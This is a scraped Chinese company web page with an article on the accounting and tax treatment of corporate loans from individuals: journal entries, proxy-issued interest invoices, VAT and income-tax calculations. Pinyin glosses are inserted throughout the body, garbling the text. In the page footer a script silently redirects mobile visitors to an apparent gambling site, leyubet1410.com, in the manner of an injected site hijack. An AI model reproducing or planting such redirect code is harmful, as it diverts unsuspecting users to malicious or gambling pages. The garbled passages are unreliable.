千亿国际qy

千亿国际qy 东创集团 千亿国际qy 集团产业 人才中心 招商运营 联系我们
企业向个人借款的账务处理和税务处理

企业向个人借款的账务处理和税务处理

 

导 读

企业找个人或其他(ta)(ta)公(gong)司(si)拆借(jie)(jie)资金,会(hui)计做账(zhang)时应记(ji)“其他(ta)(ta)应付(fu)款(kuan)”,不能(neng)记(ji)“短期借(jie)(jie)款(kuan)”。支付(fu)的(de)(de)利息要(yao)想在所(suo)得税(shui)前扣除,必须要(yao)到税(shui)务代开发(fa)(fa)票(piao)(piao),没有(you)发(fa)(fa)票(piao)(piao)是不能(neng)税(shui)前扣除的(de)(de)。但(dan)并非取得了(le)发(fa)(fa)票(piao)(piao)就能(neng)全额(e)扣除,还有(you)一个要(yao)求,所(suo)付(fu)利息超出同期银行(xing)贷款(kuan)利息的(de)(de)部分不能(neng)在所(suo)得税(shui)前扣除。
 


 

当企业资金紧张时,最外融资是必然的。一方面可会向银行借款,另一方面也可通过企业间拆借,甚至还可向个人借款来渡过资金短缺的危机。本文要讲的是企业向个人借款时账务和税务的处理方式。
 

一定要签订借款合同

向个人借(jie)款(kuan)(kuan)时,一(yi)定(ding)要(yao)记得签(qian)订借(jie)款(kuan)(kuan)合同,合同中要(yao)约定(ding)清楚借(jie)款(kuan)(kuan)期限和借(jie)款(kuan)(kuan)利息。之所以重(zhong)点提到借(jie)款(kuan)(kuan)合同问题,有几个原因(yin):

 

1
明确了债权债务关系后,避免后期不必要的争执和麻烦。
2
未来企业向个人还款时,应对金融管制。企业向个人转款,如果没有正当理由,总金额是有限制的。向银行出具借款合同,到时候才能正常向个人转款。
3
需要个人到税务代开借款利息发票时,税务机关也需要看借款合同。
借款的(de)账务处理

个人把资金借给了企业,对企业来说需确认为债务。企业在进行会计账务处理时,不能走“短期借款”或者“长期借款”科目,短期借款和长期借款主要核算企业向金融机构借款。企业向个人借款,只能通过“其他应付款”科目进行核算。
 

借款时:

借(jie):银行存款

贷:其他应付款—个人(ren)借款

还款时:

借(jie):其(qi)他应付款—个(ge)人借(jie)款

贷:银行存款(kuan)

企业向借(jie)款人支(zhi)付(fu)利息,做财(cai)务费(fei)用即(ji)可。

借:财(cai)务费用—借款利息

贷(dai):银行存款

借(jie)款利息的涉税(shui)处(chu)理

企业向个人支付利息,个人自身不能开具利息发票。问题来了,利息没有发票,税务以票控税,不会认可此费用在税前扣除。企业在年度纳税申报时,需要将此利息费用做纳税调整。
 

要取得(de)利息发票,只能(neng)到税(shui)务申请(qing)代开。需携带(dai)借款合同等资料,税(shui)务代开的发票名目多(duo)为“资金使用费”。

税(shui)务代开的(de)是(shi)增值税(shui)普通发票(piao),税(shui)率(lv)3%,税(shui)额(e)需(xu)由个人(ren)(债权人(ren))先行(xing)缴(jiao)纳(na)。此外,个人(ren)(债权人(ren))取得(de)利息收(shou)益,代开发票(piao)时(shi)还要缴(jiao)纳(na)20%的(de)个税(shui)。

 

张三(san)借(jie)款100万元给(ji)甲公司(si),约(yue)定年利率(lv)12%(含税),一年期满后甲公司(si)向张三(san)还本付息112万元。张三(san)缴税情(qing)况(kuang)如下:

  • 增值税:【(1,000,000×12%)÷(1+3%)】×3%=3,495.15

  • 个税:【(1,000,000×12%)-3,495.15】×20%=23,300.97

两(liang)税(shui)合(he)计(ji)能(neng)占到利息(xi)总额的(de)22.33%。

现实中,个人(债权人)往(wang)往(wang)会要求企业(ye)(债务(wu)人)承担开票税费。如果由(you)企业(ye)(债务(wu)人)承担税费,企业(ye)(债务(wu)人)只能将之计入营(ying)业(ye)外支出科(ke)目,且不得在所得税前扣(kou)除。

借:营业外(wai)支(zhi)出(chu)—代交税费

贷:现(xian)金

对于企(qi)业来说(shuo),取得了(le)资金(jin)(jin)使用费发票,利(li)息费用是否(fou)就能税(shui)前(qian)全额扣(kou)(kou)除(chu)呢?不(bu)一定。还要比照税(shui)务认可的扣(kou)(kou)除(chu)标(biao)准,即(ji)不(bu)高于金(jin)(jin)融机构(gou)同期的贷(dai)款利(li)率水(shui)平。在金(jin)(jin)融机构(gou)贷(dai)款利(li)息水(shui)平之内,允许所得税(shui)前(qian)扣(kou)(kou)除(chu)。超出了(le),超出部分不(bu)得扣(kou)(kou)除(chu),需做纳税(shui)调整(zheng)。

企业(ye)向个(ge)人借款(kuan),如果(guo)个(ge)人向税(shui)务(wu)申请代开发票(piao),税(shui)费要由(you)企业(ye)承担,且部分利息尚不能在税(shui)前(qian)扣(kou)除(chu),找税(shui)务(wu)代开发票(piao)未必是好办法。最合适(shi)的处理方法是什么呢?不如不要发票(piao),利息费用在年(nian)末痛(tong)快地做纳税(shui)调整。也许这么做对(dui)企业(ye)而言更经济。

   
版权所有:河北千亿国际qy集团  |  
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();